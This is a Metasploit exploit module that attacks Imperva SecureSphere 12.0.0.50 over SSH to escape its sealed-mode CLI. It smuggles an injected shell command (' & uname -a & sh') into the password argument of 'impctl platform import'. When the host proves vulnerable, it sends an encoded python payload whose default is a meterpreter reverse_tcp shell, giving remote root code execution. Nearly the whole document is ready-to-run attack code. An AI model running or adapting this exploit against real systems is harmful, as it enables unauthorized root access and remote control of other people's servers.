SecureSphere 12.0.0.50 SealMode Shell Escape

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::SSH  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "SecureSphere v12.0.0.50 - SealMode Shell Escape (root)",  
'Description' => %q{  
This module exploits a vulnerability in SecureSphere cli to escape   
the sealed-mode of Imperva and execute code as the root user. This   
module requires credentials of a user to login to the SSH or can be   
exploited by a less privileged user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'0x09AL', # Vulnerability Discovery and Metasploit Module  
],  
'References' =>  
[  
['URL', 'N/A']  
],  
'DefaultOptions' =>  
{  
'Payload' => 'python/meterpreter/reverse_tcp',  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [ ['Automatic', {}] ],  
'Privileged' => false,  
'DisclosureDate' => "01/08/2018",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RHOST(),  
Opt::RPORT(22),  
OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),  
OptString.new('Password', [ true, 'The password for authentication', '123456' ]),  
]  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def rhost  
datastore['RHOST']  
end  
  
def rport  
datastore['RPORT']  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
  
def exploit  
factory = ssh_socket_factory  
ssh_options = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:port => rport,  
:use_agent => false,  
:config => false,  
:password => password,  
:proxy => factory,  
:non_interactive => true  
}  
  
ssh_options.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
  
print_status("#{rhost}:#{rport} - Attempting to login...")  
  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(rhost, username, ssh_options)  
end  
rescue Rex::ConnectionError  
return  
rescue Net::SSH::Disconnect, ::EOFError  
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"  
return  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."  
rescue Net::SSH::Exception => e  
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"  
return  
end  
  
if ssh  
print_good("SSH connection established successfully.")  
ssh.open_channel do |channel|  
channel.exec "impctl platform import --password \" & uname -a & sh\"" do |ch, success|  
if success  
channel.on_data do |ch, data|  
if data.inspect.match(/Linux/)  
print_good "Host is vulnerable"  
channel.send_data "python -c \"#{payload.encoded}\"\n"  
channel.close  
else  
print_bad "Host is not vulnerable"  
channel.close  
end  
  
end  
end  
  
end  
end  
  
begin  
ssh.loop unless session_created?  
rescue Errno::EBADF => e  
elog(e.message)  
end  
end  
end  
end  
  
`